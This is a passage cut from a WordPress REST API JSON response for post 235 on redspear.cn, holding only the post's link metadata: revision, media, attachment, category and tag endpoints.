2\/posts\/235\/revisions\/249"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/247"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}